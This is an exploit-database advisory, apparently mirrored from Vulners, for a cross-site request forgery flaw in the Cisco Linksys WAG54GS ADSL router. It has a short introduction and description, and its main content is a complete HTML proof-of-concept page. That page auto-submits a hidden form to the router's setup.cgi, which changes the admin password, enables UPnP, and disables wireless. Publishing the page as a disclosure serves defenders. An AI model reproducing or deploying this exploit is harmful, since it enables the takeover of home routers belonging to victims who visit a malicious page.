Cisco Linksys WAG54GS CSRF Change Admin Password

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Cisco Linksys WAG54GS CSRF Change Admin Password. Vulnerability in web interface allows CSRF attack to change default admin password

                                                +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Cisco Linksys WAG54GS (ADSL Router) change admin password
# Date          : 20-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.linksysbycisco.com
# Version       : WAG54GS 
# Tested on     : Firmware Version: V1.01.03
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+


1)Introduction 
Cisco Linksys WAG54GS is an ADSL Router which uses a web management interface -listening to default on tcp/ip port 80 - and &#34;admin&#34; 
as default administrator. His default ip address is 192.168.1.1


2)Vulnerability Description
The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things - 
to change default administrator (&#34;admin&#34;) password.

3)Exploit 
&#60;html&#62;
&#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
&#60;H2&#62;CSRF Exploit to change admin password&#60;/H2&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://192.168.1.1:80/setup.cgi&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_list&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;sysname&#34; value=&#34;admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;sysPasswd&#34; value=&#34;new_password&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;sysConfirmPasswd&#34; value=&#34;new_password&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;remote_management&#34; value=&#34;disable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;devname&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;snmp_enable&#34; value=&#34;disable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;upnp_enable&#34; value=&#34;enable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;wlan_enable&#34; value=&#34;disable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;save&#34; value=&#34;Save+Settings&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;h_user_list&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;h_pwset&#34; value=&#34;yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;sysname_changed&#34; value=&#34;no&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pwchanged&#34; value=&#34;yes&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pass_is_default&#34; value=&#34;false&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pass_is_none&#34; value=&#34;no&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;h_remote_management&#34; value=&#34;disable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;c4_trap_ip_&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;h_snmp_enable&#34; value=&#34;disable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;h_upnp_enable&#34; value=&#34;enable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;h_wlan_enable&#34; value=&#34;disable&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;todo&#34; value=&#34;save&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;this_file&#34; value=&#34;Administration.htm&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;next_file&#34; value=&#34;Administration.htm&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;message&#34; value=&#34;&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;


+----------------------------------------------------------------------------------------------------------------------------------+
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1